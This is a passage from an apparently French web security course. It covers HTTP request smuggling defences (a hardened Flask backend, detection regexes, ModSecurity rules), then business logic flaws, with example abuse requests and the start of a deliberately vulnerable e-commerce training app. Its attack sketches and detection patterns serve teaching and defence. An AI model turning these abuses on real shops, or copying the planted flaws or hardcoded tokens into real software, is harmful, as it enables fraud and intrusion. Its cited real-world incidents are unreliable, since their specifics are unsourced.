        logger.warning(f"[ALERTE] RATE LIMIT EXCEEDED: {ip}")
        abort(429, "Too Many Requests")

# [OK] MIDDLEWARE 3 : Request Validation
@app.before_request
def validate_request():
    """
    [OK] Valider la structure de la requête
    """
    # Vérifier que la requête est cohérente
    if request.method in ['POST', 'PUT', 'PATCH']:
        # Si Content-Length présent, vérifier cohérence
        content_length = request.content_length
        
        if content_length is not None:
            # Lire le body
            data = request.get_data()
            actual_length = len(data)
            
            if actual_length != content_length:
                logger.warning(
                    f"[ALERTE] LENGTH MISMATCH: "
                    f"Declared={content_length}, Actual={actual_length}"
                )
                abort(400, "Content-Length mismatch")

# [OK] Routes sécurisées
@app.route('/')
def index():
    return jsonify({
        'status': 'healthy',
        'message': 'Secure Backend Application'
    })

@app.route('/public')
def public():
    return jsonify({
        'page': 'public',
        'content': 'Public information accessible to all'
    })

@app.route('/admin')
def admin():
    """
    [OK] SÉCURISÉ : Authentification requise
    """
    # Vérifier authentification (exemple simplifié)
    auth_token = request.headers.get('Authorization')
    
    if not auth_token or not verify_token(auth_token):
        logger.warning(f"[ALERTE] UNAUTHORIZED ADMIN ACCESS: {request.remote_addr}")
        abort(401, "Unauthorized")
    
    return jsonify({
        'page': 'admin',
        'message': 'Admin panel - Authenticated access only'
    })

@app.route('/api/user')
def api_user():
    """
    [OK] SÉCURISÉ : Authentification API
    """
    api_key = request.headers.get('X-API-Key')
    
    if not api_key or not verify_api_key(api_key):
        logger.warning(f"[ALERTE] INVALID API KEY: {request.remote_addr}")
        abort(403, "Forbidden")
    
    return jsonify({
        'username': 'user',
        'email': 'user@example.com',
        'role': 'user'
        # [OK] PAS de secrets exposés
    })

@app.route('/api/login', methods=['POST'])
def login():
    """
    [OK] SÉCURISÉ : Login avec validation
    """
    data = request.get_json()
    
    if not data or 'username' not in data or 'password' not in data:
        abort(400, "Invalid request")
    
    # Validation et authentification
    # ...
    
    logger.info(f"Login attempt from {request.remote_addr}")
    
    return jsonify({
        'success': True,
        'token': 'secure_jwt_token_here'
    })

@app.route('/capture', methods=['GET', 'POST'])
def capture():
    """
    [OK] Endpoint de monitoring (admin seulement)
    """
    # Vérifier authentification admin
    if not is_admin_request():
        abort(403, "Forbidden")
    
    return jsonify({
        'message': 'Monitoring endpoint',
        'timestamp': time.time()
    })

def verify_token(token):
    """
    [OK] Vérifier token d'authentification
    """
    # Implémentation réelle avec JWT
    return token == "Bearer valid_token_123"

def verify_api_key(api_key):
    """
    [OK] Vérifier clé API
    """
    # Implémentation réelle avec hash
    return api_key == "valid_api_key_xyz"

def is_admin_request():
    """
    [OK] Vérifier si requête admin
    """
    admin_token = request.headers.get('X-Admin-Token')
    return admin_token == "secure_admin_token"

# [OK] Error handlers sécurisés (sans détails)
@app.errorhandler(400)
def bad_request(error):
    return jsonify({'error': 'Bad Request'}), 400

@app.errorhandler(401)
def unauthorized(error):
    return jsonify({'error': 'Unauthorized'}), 401

@app.errorhandler(403)
def forbidden(error):
    return jsonify({'error': 'Forbidden'}), 403

@app.errorhandler(404)
def not_found(error):
    return jsonify({'error': 'Not Found'}), 404

@app.errorhandler(429)
def too_many_requests(error):
    return jsonify({'error': 'Too Many Requests'}), 429

@app.errorhandler(500)
def internal_error(error):
    logger.error(f"Internal error: {str(error)}")
    return jsonify({'error': 'Internal Server Error'}), 500

if __name__ == '__main__':
    print("[SECURITE]  Secure Backend sur http://127.0.0.1:5001")
    print("[OK] Protections actives :")
    print("   1. HTTP Smuggling Detection Middleware")
    print("   2. Transfer-Encoding validation")
    print("   3. Content-Length verification")
    print("   4. Rate Limiting (100 req/min)")
    print("   5. Request structure validation")
    print("   6. Authentication required for sensitive endpoints")
    print("   7. No information disclosure in errors")
    print("   8. Suspicious IP logging and banning")
    
    app.run(host='127.0.0.1', port=5001, debug=False)
```

---

**3. Script de monitoring et détection :**

```python
# smuggling_monitor.py
import re
import time
from collections import defaultdict
from datetime import datetime, timedelta

class SmugglingMonitor:
    """
    Système de monitoring pour détecter HTTP Request Smuggling en temps réel
    """
    
    def __init__(self, log_file="/var/log/nginx/access.log"):
        self.log_file = log_file
        self.alerts = []
        self.suspicious_ips = defaultdict(int)
        self.patterns = self.load_patterns()
    
    def load_patterns(self):
        """
        [OK] Charger les patterns de détection
        """
        return {
            'cl_and_te': re.compile(r'CL:\d+.*TE:\w+', re.IGNORECASE),
            'te_obfuscation': re.compile(r'TE:\s*chunked[\s,]', re.IGNORECASE),
            'invalid_cl': re.compile(r'CL:-\d+|CL:9999999', re.IGNORECASE),
            'suspicious_timing': re.compile(r'request_time:(\d+\.\d+)'),
            'double_request': re.compile(r'GET.*GET|POST.*POST', re.IGNORECASE)
        }
    
    def analyze_log_line(self, line):
        """
        [OK] Analyser une ligne de log
        """
        alerts = []
        
        # Pattern 1: CL et TE présents
        if self.patterns['cl_and_te'].search(line):
            alerts.append({
                'severity': 'CRITICAL',
                'type': 'CL_TE_DESYNC',
                'message': 'Both Content-Length and Transfer-Encoding detected',
                'line': line
            })
        
        # Pattern 2: TE obfusqué
        if self.patterns['te_obfuscation'].search(line):
            alerts.append({
                'severity': 'HIGH',
                'type': 'TE_OBFUSCATION',
                'message': 'Suspicious Transfer-Encoding header format',
                'line': line
            })
        
        # Pattern 3: Content-Length invalide
        if self.patterns['invalid_cl'].search(line):
            alerts.append({
                'severity': 'HIGH',
                'type': 'INVALID_CL',
                'message': 'Invalid Content-Length value',
                'line': line
            })
        
        # Pattern 4: Double requête dans une ligne (possible smuggling)
        if self.patterns['double_request'].search(line):
            alerts.append({
                'severity': 'CRITICAL',
                'type': 'DOUBLE_REQUEST',
                'message': 'Multiple requests detected in single log line',
                'line': line
            })
        
        return alerts
    
    def tail_logs(self):
        """
        [OK] Suivre les logs en temps réel
        """
        print("[RECHERCHE] Starting HTTP Smuggling Monitor...")
        print(f"[DOSSIER] Monitoring: {self.log_file}")
        print("=" * 80)
        
        try:
            with open(self.log_file, 'r') as f:
                # Aller à la fin du fichier
                f.seek(0, 2)
                
                while True:
                    line = f.readline()
                    
                    if not line:
                        time.sleep(0.1)
                        continue
                    
                    # Analyser la ligne
                    alerts = self.analyze_log_line(line)
                    
                    for alert in alerts:
                        self.handle_alert(alert)
        
        except KeyboardInterrupt:
            print("\n\n[GRAPHIQUE] Monitoring stopped")
            self.print_summary()
        except Exception as e:
            print(f"[X] Error: {str(e)}")
    
    def handle_alert(self, alert):
        """
        [OK] Gérer une alerte
        """
        self.alerts.append(alert)
        
        # Extraire IP
        ip_match = re.search(r'(\d+\.\d+\.\d+\.\d+)', alert['line'])
        if ip_match:
            ip = ip_match.group(1)
            self.suspicious_ips[ip] += 1
        
        # Afficher alerte
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        
        severity_colors = {
            'CRITICAL': '\033[91m',  # Rouge
            'HIGH': '\033[93m',      # Jaune
            'MEDIUM': '\033[94m'     # Bleu
        }
        
        color = severity_colors.get(alert['severity'], '')
        reset = '\033[0m'
        
        print(f"{color}[{timestamp}] {alert['severity']} - {alert['type']}{reset}")
        print(f"  {alert['message']}")
        print(f"  IP: {ip if ip_match else 'Unknown'}")
        print()
        
        # Si IP très suspecte, recommander ban
        if ip_match and self.suspicious_ips[ip] >= 5:
            print(f"[ALERTE] RECOMMEND BAN: {ip} ({self.suspicious_ips[ip]} alerts)")
            print(f"   Command: sudo iptables -A INPUT -s {ip} -j DROP")
            print()
    
    def print_summary(self):
        """
        [OK] Afficher résumé
        """
        print("\n" + "=" * 80)
        print("[GRAPHIQUE] MONITORING SUMMARY")
        print("=" * 80)
        
        if not self.alerts:
            print("[OK] No smuggling attempts detected")
            return
        
        # Compter par type
        alert_types = defaultdict(int)
        for alert in self.alerts:
            alert_types[alert['type']] += 1
        
        print(f"\n[HAUSSE] Total Alerts: {len(self.alerts)}")
        print("\nBy Type:")
        for alert_type, count in sorted(alert_types.items(), key=lambda x: x[1], reverse=True):
            print(f"  {alert_type}: {count}")
        
        print(f"\n[OBJECTIF] Suspicious IPs: {len(self.suspicious_ips)}")
        print("\nTop Offenders:")
        for ip, count in sorted(self.suspicious_ips.items(), key=lambda x: x[1], reverse=True)[:10]:
            print(f"  {ip}: {count} alerts")
        
        print("\n[ALERTE] Recommended Actions:")
        for ip, count in self.suspicious_ips.items():
            if count >= 5:
                print(f"  BAN: {ip}")

# [OK] Script de détection automatique
def detect_smuggling_in_logs(log_file, lines=1000):
    """
    [OK] Scanner les dernières lignes pour détecter smuggling
    """
    print("[RECHERCHE] Scanning logs for HTTP Request Smuggling...")
    print(f"[DOSSIER] File: {log_file}")
    print(f"[GRAPHIQUE] Lines: {lines}")
    print("=" * 80)
    
    monitor = SmugglingMonitor(log_file)
    
    try:
        with open(log_file, 'r') as f:
            # Lire les dernières lignes
            all_lines = f.readlines()
            recent_lines = all_lines[-lines:] if len(all_lines) > lines else all_lines
            
            print(f"Analyzing {len(recent_lines)} log lines...\n")
            
            for line in recent_lines:
                alerts = monitor.analyze_log_line(line)
                for alert in alerts:
                    monitor.handle_alert(alert)
            
            monitor.print_summary()
    
    except FileNotFoundError:
        print(f"[X] Log file not found: {log_file}")
    except Exception as e:
        print(f"[X] Error: {str(e)}")

if __name__ == '__main__':
    import sys
    
    print("""
    ╔════════════════════════════════════════════════════════════════╗
    ║          HTTP REQUEST SMUGGLING MONITOR                        ║
    ║                                                                ║
    ║  Real-time detection of HTTP desync attacks                    ║
    ╚════════════════════════════════════════════════════════════════╝
    """)
    
    if len(sys.argv) > 1:
        if sys.argv[1] == 'tail':
            # Mode temps réel
            log_file = sys.argv[2] if len(sys.argv) > 2 else "/var/log/nginx/access.log"
            monitor = SmugglingMonitor(log_file)
            monitor.tail_logs()
        elif sys.argv[1] == 'scan':
            # Mode scan
            log_file = sys.argv[2] if len(sys.argv) > 2 else "/var/log/nginx/access.log"
            lines = int(sys.argv[3]) if len(sys.argv) > 3 else 1000
            detect_smuggling_in_logs(log_file, lines)
    else:
        print("Usage:")
        print("  python smuggling_monitor.py tail [log_file]")
        print("  python smuggling_monitor.py scan [log_file] [lines]")
```

---

**4. WAF Rules (ModSecurity) :**

```apache
# modsecurity_smuggling_rules.conf
# WAF Rules pour détecter HTTP Request Smuggling

# [OK] RULE 1: Bloquer requêtes avec CL et TE
SecRule REQUEST_HEADERS:Content-Length "@rx ." \
    "id:100001,\
    phase:1,\
    chain,\
    deny,\
    status:400,\
    msg:'HTTP Request Smuggling: Both CL and TE present',\
    severity:CRITICAL,\
    tag:'application-multi',\
    tag:'language-multi',\
    tag:'platform-multi',\
    tag:'attack-protocol',\
    tag:'OWASP_CRS',\
    tag:'OWASP_CRS/WEB_ATTACK/REQUEST_SMUGGLING'"
    SecRule REQUEST_HEADERS:Transfer-Encoding "@rx ." "t:none"

# [OK] RULE 2: Bloquer Transfer-Encoding invalide
SecRule REQUEST_HEADERS:Transfer-Encoding "!@rx ^(?:chunked|compress|deflate|gzip|identity)(?:\s*,\s*(?:chunked|compress|deflate|gzip|identity))*$" \
    "id:100002,\
    phase:1,\
    deny,\
    status:400,\
    msg:'HTTP Request Smuggling: Invalid Transfer-Encoding',\
    severity:CRITICAL"

# [OK] RULE 3: Détecter TE obfusqué (espaces suspects)
SecRule REQUEST_HEADERS:Transfer-Encoding "@rx \s+chunked|\chunked\s+|chunked\s*,\s*chunked" \
    "id:100003,\
    phase:1,\
    deny,\
    status:400,\
    msg:'HTTP Request Smuggling: TE obfuscation detected',\
    severity:CRITICAL"

# [OK] RULE 4: Bloquer Content-Length négatif
SecRule REQUEST_HEADERS:Content-Length "@rx ^-" \
    "id:100004,\
    phase:1,\
    deny,\
    status:400,\
    msg:'HTTP Request Smuggling: Negative Content-Length',\
    severity:HIGH"

# [OK] RULE 5: Bloquer Content-Length excessif
SecRule REQUEST_HEADERS:Content-Length "@gt 10485760" \
    "id:100005,\
    phase:1,\
    deny,\
    status:413,\
    msg:'HTTP Request Smuggling: Content-Length too large',\
    severity:MEDIUM"

# [OK] RULE 6: Détecter multiple headers TE
SecRule &REQUEST_HEADERS:Transfer-Encoding "@gt 1" \
    "id:100006,\
    phase:1,\
    deny,\
    status:400,\
    msg:'HTTP Request Smuggling: Multiple Transfer-Encoding headers',\
    severity:CRITICAL"

# [OK] RULE 7: Détecter multiple headers CL
SecRule &REQUEST_HEADERS:Content-Length "@gt 1" \
    "id:100007,\
    phase:1,\
    deny,\
    status:400,\
    msg:'HTTP Request Smuggling: Multiple Content-Length headers',\
    severity:CRITICAL"

# [OK] RULE 8: Bloquer caractères NULL dans headers
SecRule REQUEST_HEADERS "@validateByteRange 1-255" \
    "id:100008,\
    phase:1,\
    deny,\
    status:400,\
    msg:'HTTP Request Smuggling: NULL byte in headers',\
    severity:CRITICAL"

# [OK] RULE 9: Rate limiting sur tentatives de smuggling
SecAction "id:100009,\
    phase:1,\
    pass,\
    nolog,\
    initcol:ip=%{REMOTE_ADDR},\
    setvar:ip.smuggling_counter=+1,\
    expirevar:ip.smuggling_counter=60"

SecRule IP:SMUGGLING_COUNTER "@gt 5" \
    "id:100010,\
    phase:1,\
    deny,\
    status:429,\
    msg:'HTTP Request Smuggling: Too many suspicious requests',\
    severity:HIGH"
```

---

**5. Configuration complète de sécurité :**

```yaml
# security_config.yaml
# Configuration complète anti-smuggling

nginx:
  # [OK] Configuration Nginx
  http_version: "1.1"
  keepalive: false
  connection_reuse: false
  
  headers:
    normalize: true
    reject_ambiguous: true
    
  limits:
    max_body_size: "10m"
    client_body_timeout: "10s"
    client_header_timeout: "10s"
    
  logging:
    format: "smuggling_detection"
    log_cl_te: true
    log_timing: true

backend:
  # [OK] Configuration Backend
  framework: "Flask/Gunicorn"
  workers: 4
  worker_class: "sync"
  max_requests: 1000
  max_requests_jitter: 50
  timeout: 30
  keepalive: 0  # Désactiver keepalive
  
  middleware:
    - smuggling_detector
    - rate_limiter
    - request_validator
    
  validation:
    check_cl_te: true
    check_te_format: true
    check_cl_value: true
    reject_ambiguous: true

waf:
  # [OK] WAF Configuration
  engine: "ModSecurity"
  rules:
    - "modsecurity_smuggling_rules.conf"
  
  detection:
    cl_and_te: true
    te_obfuscation: true
    invalid_cl: true
    multiple_headers: true
  
  action:
    deny_status: 400
    log_level: "critical"
    alert: true

monitoring:
  # [OK] Monitoring
  enabled: true
  log_analysis: true
  real_time_detection: true
  
  alerts:
    email: "security@company.com"
    slack: "https://hooks.slack.com/services/XXX"
    
  thresholds:
    suspicious_requests: 5
    ban_threshold: 10
    alert_threshold: 3

response:
  # [OK] Incident Response
  automatic_ban: true
  ban_duration: "1h"
  
  actions:
    - log_incident
    - alert_team
    - block_ip
    - analyze_traffic
```

---

**Lancer l'infrastructure sécurisée :**

```bash
#!/bin/bash
# launch_secure.sh

echo "[SECURITE]  Launching Secure HTTP Infrastructure"
echo "========================================"

# 1. Lancer backend sécurisé
echo "[1/4] Starting secure backend..."
python backend_secure.py &
BACKEND_PID=$!
sleep 2

# 2. Lancer Nginx avec config sécurisée
echo "[2/4] Starting Nginx with secure config..."
nginx -c nginx_secure.conf
sleep 2

# 3. Lancer monitoring
echo "[3/4] Starting smuggling monitor..."
python smuggling_monitor.py tail /var/log/nginx/access.log &
MONITOR_PID=$!

# 4. Vérifier
echo "[4/4] Verifying services..."
curl -s http://localhost:8080/health
echo ""

echo ""
echo "[OK] All services running!"
echo "   Backend PID: $BACKEND_PID"
echo "   Monitor PID: $MONITOR_PID"
echo ""
echo "[RECHERCHE] Monitor logs: tail -f /var/log/nginx/access.log"
echo "[STOP] Stop all: kill $BACKEND_PID $MONITOR_PID"
```

---

**Prêt pour le RÉCAPITULATIF FINAL avec checklist complète ?** [OBJECTIF]

# 26. BUSINESS LOGIC VULNERABILITIES

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce qu'une Business Logic Vulnerability ?

**Définition :**
Faille dans la **logique métier** de l'application permettant à un attaquant d'**abuser des fonctionnalités légitimes** pour obtenir un avantage non prévu, contourner des restrictions, ou causer des dommages financiers/opérationnels.

**Analogie simple :**

Imagine un distributeur automatique de café :
- **Usage normal** : Insérer 2€, choisir café, recevoir café
- **Bug technique** : SQL injection dans l'écran tactile
- **Business Logic Flaw** : 
  - Acheter 10 cafés -> 10€
  - Utiliser coupon -20% -> 8€
  - Annuler 9 cafés -> Remboursement 7.20€ (9 × 0.80€)
  - Résultat : 1 café + 7.20€ - 8€ = **Gagner 7.20€ + café gratuit**

-> Le système fonctionne comme prévu techniquement, mais la **logique métier est exploitable** !

---

## [OBJECTIF] CARACTÉRISTIQUES

### Différence avec vulnérabilités techniques

| Type | Vulnérabilité Technique | Business Logic Flaw |
|------|------------------------|---------------------|
| **Nature** | Bug de code/config | Défaut de conception |
| **Détection** | Scanner automatique | Analyse manuelle |
| **Exploitation** | Payload malveilleux | Actions légitimes |
| **Protection** | Patch de sécurité | Refonte logique métier |
| **Exemple** | SQL Injection | Acheter produit à prix négatif |

---

## [DANGER] TYPES DE BUSINESS LOGIC FLAWS

### 1. **Price Manipulation**

**Principe :** Manipuler les prix pour payer moins cher ou obtenir gratuitement.

**Exemples :**

```http
# Exemple 1 : Prix négatif
POST /api/cart/add
{
  "product_id": 123,
  "quantity": 1,
  "price": -50.00  # [X] Prix négatif accepté
}
-> Résultat : Crédit de 50€ au lieu de payer

# Exemple 2 : Prix à 0
POST /api/checkout
{
  "items": [
    {"id": 1, "price": 0.00}  # [X] Prix modifié côté client
  ]
}
-> Résultat : Produit gratuit

# Exemple 3 : Overflow arithmétique
POST /api/cart/add
{
  "product_id": 123,
  "quantity": 2147483647,  # MAX_INT
  "price": 0.01
}
-> Résultat : Overflow -> Prix devient négatif
```

---

### 2. **Discount/Coupon Abuse**

**Principe :** Abuser des systèmes de réduction.

**Exemples :**

```http
# Exemple 1 : Coupon multiple
POST /api/apply-coupon
{
  "code": "SAVE50",
  "code": "SAVE50",  # [X] Appliqué 2 fois
  "code": "SAVE50"   # [X] Appliqué 3 fois
}
-> Résultat : 150% de réduction = Paiement négatif

# Exemple 2 : Coupon expiré non vérifié
POST /api/apply-coupon
{
  "code": "BLACKFRIDAY2020"  # [X] Expiré mais accepté
}

# Exemple 3 : Stacking non autorisé
POST /api/apply-coupon
{
  "codes": ["SAVE10", "WELCOME20", "VIP30"]  # [X] 60% total
}
```

---

### 3. **Quantity/Inventory Manipulation**

**Principe :** Manipuler quantités pour obtenir plus que prévu.

**Exemples :**

```http
# Exemple 1 : Quantité négative
POST /api/cart/update
{
  "item_id": 123,
  "quantity": -10  # [X] Négatif = ajout de crédit ?
}

# Exemple 2 : Quantité fractionnelle
POST /api/order
{
  "product_id": 123,
  "quantity": 0.5  # [X] Acheter demi-produit ?
}

# Exemple 3 : Race condition sur stock
# Thread 1 & 2 achètent simultanément le dernier item
-> Stock = 1, mais 2 ventes
```

---

### 4. **Refund/Return Abuse**

**Principe :** Abuser des systèmes de remboursement.

**Scénarios :**

```python
# Scénario 1 : Remboursement multiple
1. Acheter produit (100€)
2. Demander remboursement -> Approuvé (100€)
3. Redemander remboursement -> [X] Approuvé encore (100€)
-> Résultat : 200€ remboursés pour 100€ payés

# Scénario 2 : Return plus que acheté
1. Acheter 1 produit
2. Retourner 5 produits (si validation faible)
-> Résultat : Crédit pour 4 produits non achetés

# Scénario 3 : Return après utilisation complète
1. Acheter abonnement annuel (120€)
2. Utiliser 11 mois
3. Demander remboursement jour 364
-> Résultat : Remboursement total après usage
```

---

### 5. **Account/Balance Manipulation**

**Principe :** Manipuler soldes, points de fidélité, crédits.

**Exemples :**

```http
# Exemple 1 : Transfert d'argent à soi-même
POST /api/transfer
{
  "from": "user123",
  "to": "user123",  # [X] Même utilisateur
  "amount": 1000
}
-> Résultat : Duplication d'argent

# Exemple 2 : Overflow sur points de fidélité
POST /api/loyalty/redeem
{
  "points": -1000  # [X] Négatif = ajout ?
}

# Exemple 3 : Manipulation monnaie
POST /api/wallet/convert
{
  "from_currency": "USD",
  "to_currency": "EUR",
  "amount": 1000,
  "rate": 10.0  # [X] Rate contrôlé par client
}
```

---

### 6. **Workflow/State Bypass**

**Principe :** Contourner les étapes obligatoires d'un processus.

**Exemples :**

```http
# Exemple 1 : Passer commande sans payer
POST /api/orders/create -> Order ID: 12345
# Skip payment step
POST /api/orders/12345/ship  # [X] Expédier sans paiement

# Exemple 2 : Valider KYC sans documents
POST /api/kyc/submit -> KYC ID: 789
# Skip verification
POST /api/kyc/789/approve  # [X] Auto-approuver

# Exemple 3 : Accès premium sans abonnement
GET /api/user/status -> {"premium": false}
# Bypass check
POST /api/premium/content  # [X] Pas de vérification côté serveur
```

---

### 7. **Time-based Logic Flaws**

**Principe :** Exploiter la gestion du temps.

**Exemples :**

```python
# Exemple 1 : Free trial infini
1. Créer compte -> Trial 30 jours
2. Jour 29 : Supprimer compte
3. Recréer compte avec même email
-> Nouveau trial 30 jours

# Exemple 2 : Limite quotidienne
# Si limite = nombre de requêtes par jour calendaire
1. 23h59 : 10 requêtes (limite atteinte)
2. 00h01 : 10 requêtes (nouveau jour)
-> 20 requêtes en 2 minutes

# Exemple 3 : Expiration non vérifiée
POST /api/redeem-offer
{
  "offer_id": 123,
  "expired_at": "2099-12-31"  # [X] Date future forcée
}
```

---

### 8. **Rate Limiting Bypass**

**Principe :** Contourner les limites de taux.

**Exemples :**

```http
# Exemple 1 : Header manipulation
X-Forwarded-For: 1.2.3.4  # Changer IP
X-Forwarded-For: 1.2.3.5  # Nouvelle IP
-> Contourner rate limit par IP

# Exemple 2 : User-Agent rotation
User-Agent: Mozilla/5.0... (rotate)
-> Rate limit par User-Agent contourné

# Exemple 3 : Multi-account
# Si rate limit = 100 req/user/jour
Créer 100 comptes = 10,000 req/jour
```

---

## [ALERTE] CAS RÉELS MAJEURS

### 1. **Starbucks (2013) - Gift Card Multiplication**

**Faille :** Transfert d'argent entre cartes avec race condition

**Exploitation :**
```python
1. Carte A : 100€, Carte B : 0€
2. Simultanément :
   - Thread 1 : Transférer 100€ de A vers B
   - Thread 2 : Transférer 100€ de A vers B
3. Résultat : Carte A : 0€, Carte B : 200€
-> Duplication de 100€
```

**Impact :** Millions de dollars perdus

---

### 2. **PayPal (2015) - Negative Balance**

**Faille :** Acceptation de montants négatifs

**Exploitation :**
```python
1. Envoyer -100€ à quelqu'un
2. Balance victime : -100€
3. PayPal compense -> Balance : 0€
4. Attaquant : +100€
-> Création d'argent
```

**Bounty :** $10,000

---

### 3. **Amazon (2017) - Gift Card Arbitrage**

**Faille :** Taux de change manipulable

**Exploitation :**
```python
1. Acheter gift card USD 100$ = 85€
2. Convertir en EUR avec taux forcé : 1 USD = 1 EUR
3. Résultat : 100€ de crédit pour 85€
-> Profit de 15€ par cycle
```

---

### 4. **Uber Eats (2019) - Free Food**

**Faille :** Remboursement automatique sans vérification

**Exploitation :**
```python
1. Commander 50€ de nourriture
2. Signaler "Commande non reçue"
3. Remboursement automatique 50€
4. Répéter
-> Nourriture gratuite illimitée
```

---

### 5. **Booking.com (2018) - Price Manipulation**

**Faille :** Prix modifiable côté client

**Exploitation :**
```http
POST /api/booking/confirm
{
  "hotel_id": 123,
  "nights": 7,
  "total": 1.00  # [X] Prix forcé à 1€ au lieu de 700€
}
```

**Impact :** Milliers de réservations à 1€

---

### 6. **Groupon (2016) - Coupon Stacking**

**Faille :** Application multiple de coupons

**Exploitation :**
```python
1. Produit : 100€
2. Appliquer coupon -50% : 50€
3. Appliquer coupon -50% encore : 25€
4. Répéter : 12.50€, 6.25€, 3.12€...
-> Prix quasi gratuit
```

---

## [CODE] EXERCICE 28 : BUSINESS LOGIC VULNERABILITIES

### Objectif

Application e-commerce complète avec :
- Système de panier
- Coupons/promotions
- Points de fidélité
- Gift cards
- Remboursements
- Abonnements
- **TOUTES les business logic flaws**
- Exploitation complète
- Protection robuste

---

### PARTIE A : APPLICATION VULNÉRABLE

```python
# ecommerce_vulnerable.py
from flask import Flask, request, jsonify, session, render_template_string
from flask_cors import CORS
import sqlite3
import secrets
import time
from datetime import datetime, timedelta
from decimal import Decimal

app = Flask(__name__)
app.secret_key = 'insecure_key_123'
CORS(app, supports_credentials=True)

DB_FILE = 'ecommerce.db'

def init_db():
    """Initialiser la base de données"""
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    # Table produits
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS products (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            name TEXT NOT NULL,
            price REAL NOT NULL,
            stock INTEGER NOT NULL,
            description TEXT
        )
    ''')
    
    # Table utilisateurs
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            email TEXT,
            password TEXT NOT NULL,
            balance REAL DEFAULT 0.0,
            loyalty_points INTEGER DEFAULT 0,
            premium BOOLEAN DEFAULT 0,
            premium_expires_at TIMESTAMP,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # Table paniers
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS cart_items (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER,
            product_id INTEGER,
            quantity INTEGER,
            price REAL,
            added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # Table commandes
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS orders (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER,
            total REAL,
            status TEXT DEFAULT 'pending',
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # Table coupons
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS coupons (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            code TEXT UNIQUE NOT NULL,
            discount_type TEXT,
            discount_value REAL,
            min_purchase REAL DEFAULT 0,
            max_uses INTEGER DEFAULT 1,
            used_count INTEGER DEFAULT 0,
            expires_at TIMESTAMP,
            active BOOLEAN DEFAULT 1
        )
    ''')
    
    # Table gift cards
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS gift_cards (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            code TEXT UNIQUE NOT NULL,
            balance REAL NOT NULL,
            user_id INTEGER,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # Table remboursements
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS refunds (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            order_id INTEGER,
            user_id INTEGER,
            amount REAL,
            reason TEXT,
            status TEXT DEFAULT 'pending',
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # Insérer produits exemple
    products = [
        ('Laptop Premium', 1500.00, 10, 'High-end laptop'),
        ('Smartphone', 800.00, 20, 'Latest model'),
        ('Headphones', 200.00, 50, 'Noise canceling'),
        ('Smartwatch', 400.00, 30, 'Fitness tracker'),
        ('Tablet', 600.00, 15, '10-inch display')
    ]
    
    for name, price, stock, desc in products:
        try:
            cursor.execute('''
                INSERT INTO products (name, price, stock, description)
                VALUES (?, ?, ?, ?)
            ''', (name, price, stock, desc))
        except:
            pass
    
    # Insérer utilisateurs exemple
    users = [
        ('alice', 'alice@example.com', 'alice123', 1000.0, 500),
        ('bob', 'bob@example.com', 'bob123', 500.0, 100),
        ('charlie', 'charlie@example.com', 'charlie123', 2000.0, 1000)
    ]
    
    for username, email, password, balance, points in users:
        try:
            cursor.execute('''
                INSERT INTO users (username, email, password, balance, loyalty_points)
                VALUES (?, ?, ?, ?, ?)
            ''', (username, email, password, balance, points))
        except:
            pass
    
    # Insérer coupons
    coupons = [
        ('SAVE10', 'percentage', 10, 50, 100),
        ('SAVE50', 'fixed', 50, 100, 10),
        ('WELCOME20', 'percentage', 20, 0, 1),
        ('BLACKFRIDAY', 'percentage', 50, 200, 1000)
    ]
    
    for code, type_, value, min_purchase, max_uses in coupons:
        try:
            expires = datetime.now() + timedelta(days=30)
            cursor.execute('''
                INSERT INTO coupons (code, discount_type, discount_value, 
                                   min_purchase, max_uses, expires_at)
                VALUES (?, ?, ?, ?, ?, ?)
            ''', (code, type_, value, min_purchase, max_uses, expires))
        except:
            pass
    
    conn.commit()
    conn.close()

init_db()

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>E-Commerce Platform</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1800px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
        }
        .card h3 { margin-bottom: 15px; color: #ffd700; }
        input, select, textarea {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            margin-bottom: 10px;
        }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 150px;
            font-family: 'Courier New', monospace;
